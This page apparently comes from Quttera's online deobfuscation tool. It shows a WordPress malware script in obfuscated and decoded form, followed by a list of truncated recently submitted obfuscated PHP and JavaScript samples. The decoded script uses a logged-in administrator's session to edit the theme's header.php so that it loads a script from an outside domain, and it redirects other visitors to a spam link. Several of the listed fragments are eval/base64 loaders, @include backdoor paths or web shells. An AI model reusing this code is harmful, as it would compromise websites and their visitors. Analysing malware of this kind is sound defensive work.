Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

var n = 1;


n = getLoggedInCookie();

if(n > 0) {var _0xb487=["protocol","//","domain","/wp-admin/theme-editor.php?file=header.php","/wp-admin/admin-ajax.php","<script src='https://cls.balantfromsun.com/footer.js?type=dfh34w34A345WEFSDF&' type='text/javascript'></script>","dfh34w34A345WEFSDF","onreadystatechange","readyState","status","responseText","exec","indexOf","textarea","createElement","innerHTML","value","nonce=","&_wp_http_referer=","&theme=","&file=header.php&action=edit-theme-plugin-file&newcontent=","POST","open","Content-type","application/x-www-form-urlencoded","setRequestHeader","send","al0","log","GET"];var _0xa7bb=[_0xb487[0],_0xb487[1],_0xb487[2],_0xb487[3],_0xb487[4],_0xb487[5],_0xb487[6],_0xb487[7],_0xb487[8],_0xb487[9],_0xb487[10],_0xb487[11],_0xb487[12],_0xb487[13],_0xb487[14],_0xb487[15],_0xb487[16],_0xb487[17],_0xb487[18],_0xb487[19],_0xb487[20],_0xb487[21],_0xb487[22],_0xb487[23],_0xb487[24],_0xb487[25],_0xb487[26],_0xb487[27],_0xb487[28],_0xb487[29]];var site=location[_0xa7bb[0]]+ _0xa7bb[1]+ document[_0xa7bb[2]];var newuser_url=site+ _0xa7bb[3];var ajax_url=site+ _0xa7bb[4];var sscript=encodeURIComponent(_0xa7bb[5]);var cch=_0xa7bb[6];var ftoken= new XMLHttpRequest();ftoken[_0xa7bb[7]]= function(){if(this[_0xa7bb[8]]== 4){if(this[_0xa7bb[9]]== 200){var _0x3810x8=this[_0xa7bb[10]];var _0x3810x9=/name="newcontent".*?[>]([\/\s\/\S]*?)<\/textarea/g;var _0x3810xa=_0x3810x9[_0xa7bb[11]](_0x3810x8);var _0x3810xb=/<option.*?value="(.*?)".*?selected/g;var _0x3810xc=_0x3810xb[_0xa7bb[11]](_0x3810x8);var _0x3810xd=/name="nonce"([ ]+)value="([^"]+)"/g;var _0x3810xe=_0x3810xd[_0xa7bb[11]](_0x3810x8);if(_0x3810xa!= null&& _0x3810xc!= null&& _0x3810xe!= null){if(_0x3810xa[1][_0xa7bb[12]](cch)===  -1){var _0x3810xf=document[_0xa7bb[14]](_0xa7bb[13]);_0x3810xf[_0xa7bb[15]]= _0x3810xa[1];var _0x3810x10=sscript+ encodeURIComponent(_0x3810xf[_0xa7bb[16]]);var _0x3810x11=_0x3810xc[1];var _0x3810x12=_0x3810xe[2];var _0x3810x13=_0xa7bb[17]+ encodeURIComponent(_0x3810x12)+ _0xa7bb[18]+ encodeURIComponent(_0xa7bb[3])+ _0xa7bb[19]+ encodeURIComponent(_0x3810x11)+ _0xa7bb[20]+ _0x3810x10;var _0x3810x14= new XMLHttpRequest();_0x3810x14[_0xa7bb[7]]= function(){if(this[_0xa7bb[8]]== 4&& this[_0xa7bb[9]]== 200){}};_0x3810x14[_0xa7bb[22]](_0xa7bb[21],ajax_url,true);_0x3810x14[_0xa7bb[25]](_0xa7bb[23],_0xa7bb[24]);_0x3810x14[_0xa7bb[26]](_0x3810x13)}else {console[_0xa7bb[28]](_0xa7bb[27])}}}}};ftoken[_0xa7bb[22]](_0xa7bb[29],newuser_url,true);ftoken[_0xa7bb[26]]();}else{/******kpdubpkkbjtfmv******/window.stop();var mdd = 'vifgemflbnsqo';
location.replace('https://go.balantfromsun.com/go.php?df=436&5aAWERfGFdg=2&hdgh=57');
}
function getLoggedInCookie() {
    var cookie = document.cookie.indexOf('wp-settings-time') !== -1;

    if(cookie){
      return 1;
    }else{
      return 0;
    }

    return 0;
}

var n = 1;


n = getLoggedInCookie();

if(n > 0) {var site=location["protocol"]+ "//"+ document["domain"];var newuser_url=site+ "/wp-admin/theme-editor.php?file=header.php";var ajax_url=site+ "/wp-admin/admin-ajax.php";var sscript=encodeURIComponent("<script src='https://cls.balantfromsun.com/footer.js?type=dfh34w34A345WEFSDF&' type='text/javascript'></script>");var cch="dfh34w34A345WEFSDF";var ftoken= new XMLHttpRequest();ftoken["onreadystatechange"]= function(){if(this["readyState"]== 4){if(this["status"]== 200){var _0x3810x8=this["responseText"];var _0x3810x9=/name="newcontent".*?[>]([\/\s\/\S]*?)<\/textarea/g;var _0x3810xa=_0x3810x9["exec"](_0x3810x8);var _0x3810xb=/<option.*?value="(.*?)".*?selected/g;var _0x3810xc=_0x3810xb["exec"](_0x3810x8);var _0x3810xd=/name="nonce"([ ]+)value="([^"]+)"/g;var _0x3810xe=_0x3810xd["exec"](_0x3810x8);if(_0x3810xa!= null&& _0x3810xc!= null&& _0x3810xe!= null){if("//"["indexOf"](cch)===  -1){var _0x3810xf=document["createElement"]("textarea");_0x3810xf["innerHTML"]= "//";var _0x3810x10=sscript+ encodeURIComponent(_0x3810xf["value"]);var _0x3810x11="//";var _0x3810x12="domain";var _0x3810x13="nonce="+ encodeURIComponent(_0x3810x12)+ "&_wp_http_referer="+ encodeURIComponent("/wp-admin/theme-editor.php?file=header.php")+ "&theme="+ encodeURIComponent(_0x3810x11)+ "&file=header.php&action=edit-theme-plugin-file&newcontent="+ _0x3810x10;var _0x3810x14= new XMLHttpRequest();_0x3810x14["onreadystatechange"]= function(){if(this["readyState"]== 4&& this["status"]== 200){}};_0x3810x14["open"]("POST",ajax_url,true);_0x3810x14["setRequestHeader"]("Content-type","application/x-www-form-urlencoded");_0x3810x14["send"](_0x3810x13)}else {console["log"]("al0")}}}}};ftoken["open"]("GET"",newuser_url,true);ftoken["send"]();}else{/******kpdubpkkbjtfmv******/window.stop();var mdd = 'vifgemflbnsqo';
location.replace('https://go.balantfromsun.com/go.php?df=436&5aAWERfGFdg=2&hdgh=57');
}
function getLoggedInCookie() {
    var cookie = document.cookie.indexOf('wp-settings-time') !== -1;

    if(cookie){
      return 1;
    }else{
      return 0;
    }

    return 0;
}


Recent submissions:

php $TFEMPWFmtHDKlLWIJhaO->NlhJfNqccZcmansaMuLx=YvygkaAvycgQljTFjKoK("\x31\60\63\x31\x32".... \354\230\210\354\210\230 \352\267\270\353\246\254\354\212\244\353\217\204\352\273\230\354\... 320\237\320\236\320\233\320\235\320\236\320\247\320\235\320\253\320\231 \320\232\320\240\3... <?php /* Copyright © 2019 - All rights reserved. Checksum: 03c7c0ace395d80182db07ae2c30f0... @include "\057va\162/w\167w/\167eb\061/h\164do\143s/\167ww\056fr\151sk\171te\145ns\056ne\1... eval(gzinflate(str_rot13(base64_decode("7b12ZuJLljD8fSLmP2v8R1FJUkF0V2AyzWdKx3AWgdh5BBKgjo... <?php eval(gzinflate(str_rot13(base64_decode("\x37\x62\x312\x5a\x75\x4a\x4c\x6c\x6aD8\x66\... <?php /* Obfuscation provided by FOPO - Free Online PHP Obfuscator: http://www.fopo.com.... 73 97 109 108 111 115 116 \0... <?php eval(base64_decode('CiBnb3RvIHFzU0NZOyBoWWM2SDogb2JfZW5kX2ZsdXNoKCk7IGdvdG8gUUJxWV87... \057h\157m\145/\162e\156t\141l\057d\157m\141i\156s\057c\150e\141p\055c\141r\055r\145n\164a... \057h\157m\145/\162e\156t\141l\057d\157m\141i\156s\057c\157r\163e\055a\165t\157-\162e\156t... <script>var _$_6db9=["\x56\x43\x44","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\... import base64, codecs thecrew = 'CmltcG9ydCBiYXNlNjQsIGNvZGVjcwp0aGVjcmV3ID0gJ0l5QXRLaT... <?php function ViCgJi($seU) { $seU=gzinflate(base64_decode($seU)); for($i=0;$i<strlen... <script type="text/javascript"> var _$_6db9=["\x56\x43\x44","\x67\x65\x74\x45\x6C\x65\x... { document[_$_6db9[1]](_$_6db9[54])[_$_6db9[7]][_$_6db9[6]]= _$_6db9[11];//118 ... function startParams() { document[_$_6db9[1]](_$_6db9[54])[_$_6db9[7]][_$_6db9[6]]= ... \057hom\145/ca\163per\163c/p\165bli\143_ht\155l/b\145sti\156ter\156etf\141cts\056com\057wp... eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34... @ini_set('memory_limit','-1');@ini_set('max_execution_time',0);@set_time_limit(0);eval(str... <?php /* Crypted by Turkish Hackers Alliance - pay 900 USD to 1D2149AqK3Casr3wTvSLgQLbk... $Il1IlII11I=file(preg_replace("@\(.*\(.*$@","",__FILE__)); if(preg_replace("@\(.*\(.*$@",... function IIIIllIl1I($a,$b){$c=array(936,343,32,29440);$k=gzinflate(base64_decode("KyrNTcos... {$c=array(936,343,32,29440);$k=gzinflate(base64_decode("KyrNTcosKQYA"));$O0O0=$k[6].$k[1].... /*07966*/ @include "\057ho\155e/\160hm\143gp\145/p\165bl\151c_\150tm\154/h\1571.\165s/\... $W3LL = 'FZbVteMAEEP/XxdmiO2YmZmZuf8qNtuBjmYk3QrSxKmsxRd+qe9GAVrLaoM5R4M5nEOibA+TIgvXy1MHs... <?php $W3LL = 'FZbVteMAEEP/XxdmiO2YmZmZuf8qNtuBjmYk3QrSxKmsxRd+qe9GAVrLaoM5R4M5nEOibA+TIgv... var _0x1ce6=['\x56\x48\x4a\x35\x55\x32\x56\x75\x5a\x41\x3d\x3d','\x53\x55\x31\x48','\x52\x... <?php $W3LL = 'FZbVteMAEEP/XxdmiO2YmZmZuf8qNtuBjmYk3QrSxKmsxRd+qe9GAVrLaoM5R4M5nEOibA+TIgv... @include "\057ho\155e4\057kr\157ne\151um\057pu\142li\143_h\164ml\057po\167er\160ad\1634a\1... <?php ... <?php /* Copyright (c) 2018 Mojomexico.com.mx Licencia protegida si desea adquirir el pro... \x82\x17\x07\x0F\x1F\x44\x00\x00\x55/\x82\x17\x07\x0F\x1F\x44\x00\x00\xC3 ... 's/\x82\x17\x07\x0F\x1F\x44\x00\x00\x55/\x82\x17\x07\x0F\x1F\x44\x00\x00\xC3/g'... (function(_0xce82x1) { var _0xce82x2 = _0xce82x2 || function(_0xce82x3, _0xce82x4) { ... \321\201\321\205\320\265\320\274\320\260 \320\262\321\213\320\261\320\276\321\200\321\213... \321\201\321\205\320\265\320\274\320\260... <?php ${"GLOBALS"}["suaghlx"]="db";${"GLOBALS"}["dvkhityv"]="sablonlar";${"GLOBALS"}["dism... <?php $hngwa = 'pbat#957ekdlxur3gvm\'*-f62_sH84icy0no1';$rufmqnv = Array();$rufmqnv[] = $... <?php error_reporting(0); $fsyACTX5d7aa0bdbd931 = chr(115).chr(116).chr(114).chr(114).chr... /*<![CDATA[/* */ /* Privet darkv. Each domain is 2h fox dead */ (function(){ var l=wind... define("\x41\x50\120\x4e\101\115\105", "\115\x6f\x64\x65\x72\156\x2d\x50\x4f\123"); define... goto o5d95; kToGN: Tygh::$app["\x76\151\145\x77"]->assign("\146\x65\x61\x74\x75\162\x65\13... <?php use Tygh\Registry; goto o5d95; kToGN: Tygh::$app["\x76\151\145\x77"]->assign("\146... use Tygh\Enum\ProductFeatures; use Tygh\Enum\ProductTracking; use Tygh\Registry; use Tygh\... flh7k: $feed["\160\162\x6f\144\x75\143\164\163\137\144\151\x73\143\x6f\x75\156\x74"] = uns... JG\x52vICA9\x49\x43\x52fR\x30V\x55Wyd\x6b\x62\x79d\x64\x4fw0\x4ba\x57\x59\x6f\x4a\x47\x52\... \160\162\x6f\144\x75\143\164\163\137\144\151\x73\143\x6f\x75\156\x74... <?php ${"\x47LOB\x41\x4cS"}["\x79\x79\x75\x64c\x6ba\x6e\x75t"]="\x75s\x65\x72";${"\x47LO\x... <?php /* Copyright (c) 2012 Motion-M Co. If you want to obtain license for this product,... @include "\057ho\155e/\151ns\151gn\151at\145am\057pu\142li\143_h\164ml\057Es\153i \104os\1... function RtegJAdMsnpNgwAbutzY($WSnIJSCSyEjimqCqGeJm) { $oqrbxJkdoDYXaVzkysol=JuFdQMPQLte... @include "\057home\057insi\147niat\145am/p\165blic\137html\057Eski\040Dosy\141lar \170x/im... /*@include "\057home\057insi\147niat\145am/p\165blic\137html\057Eski\040Dosy\141lar \170x/... @include "\057hom\145/in\163ign\151ate\141m/p\165bli\143_ht\155l/E\163ki \104osy\141lar\04... <?php /* Copyright (c) 2012 Motion-M Co. If you want to obtain license for this product,... <?php ... <?php /* Copyright (c) 2012 Motion-M Co. If you want to obtain license for this product,... <?php /* Copyright (c) 2012 Motion-M Co. If you want to obtain license for this product,... <?php eval("\n\$dgreusdi = intval(__LINE__) * 337;"); $a = "7VdrT+NGFP1eqf9hiCIcKw... <?php $auth_pass = "7547ec6af9d987359dd34c888224afb1"; function s($q, $d){ for($g... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... <?php /*b1786*/ @include "\057h\157m\145/\143k\143a\156c\157m\057l\157u\151s\166i\154l... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... @$svLEBvhEGxBACGnbnfkbfm("E" . "\x76" . "\x61" . "l" . "\x28" . "g" ... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... <?php ${"GLO\x42A\x4c\x53"}["\x76ag\x78\x79\x71\x63m"]="i";${"G\x4c\x4fB\x41\x4c\x53"}["t\... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... <?php /* PHP Encode by http://Www.PHPJiaMi.Com/ */error_reporting(0);ini_set("display_err... echo O0000000O0(O000O0O00O("a",97),O000O0O00O("a",18),$O0000OO0O0); __halt_compiler(); w... <?php /* OracleCode Copyright © 2019 - All rights reserved. Checksum: a654c069 */ eval(ba... <?php //004fb if(!extension_loaded('ionCube Loader')){$__oc=strtolower(substr(php_uname()... <?php $_wvbx3 = basename/*mebly*/(/*hdq*/trim/*79iz*/(/*p1i*/preg_replace/*w*/(/*hct9*/ra... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... <?php $_q7dekj = basename/*5q*/(/*t*/trim/*m*/(/*tnd*/preg_replace/*89n*/(/*v4*/rawurldec... <?php $ghspgxmagf = 2771; function olsphvrb($auuewmyvc, $qouov){$cmmfufdunq = ''; for($i... @include "\057ho\155e/\06172\06521\057do\155ai\156s/\16317\06252\061.g\162id\163er\166er\0... @include "\057home\0571725\0621/do\155ains\057vict\165s.co\155/htm\154/ima\147e/ca\143he/d... \057home\057khad\162dqny\151tf/p\165blic\137html\057gc-c\150ambe\162.com\057wp-c\157nten\1... <?php goto O5553; O4414: echo "\x61\x75\x78\x36\124\x68\x65\x69\157\107\150\165\x65\121\x7... <?php @touch("index.html"); header("Content-type: text/plain"); print "2842123700\n"; ... <?php ${"\x47\x4c\x4fBA\x4c\x53"}["\x78\x71\x70cpy\x71"]="\x73q\x6c";mysqli_connect("loc\x... IPTV_INCLUDES_PATH . "\x73\x74\x72\145\141\x6d\x2e\160\150\160"... <?php /* OracleCode Checksum: e1808cfbf546dad82db5b680af51d714 */ eval(base64_decode("JEls... <?php /* OracleCode Checksum: e1808cfbf546dad82db5b680af51d714 */ eval(base64_decode("JEls... <?php @error_reporting(0); @ini_set('display_errors', false); @ini_set('assert.quiet_eval... <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Bod... <?php $xD = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1... eval(base64_decode('JGY9ZGlybmFtZShfX2ZpbGVfXykuJy9pbWFnZXMvd3BfbWVudV90b 3AucG5nJzskYj1nZ... @include "\057va\162/w\167w/\15022\065/d\141ta\057ww\167/a\155et\151st\056in\056ua\057ad\1...

© 2019 Quttera Ltd. All rights reserved.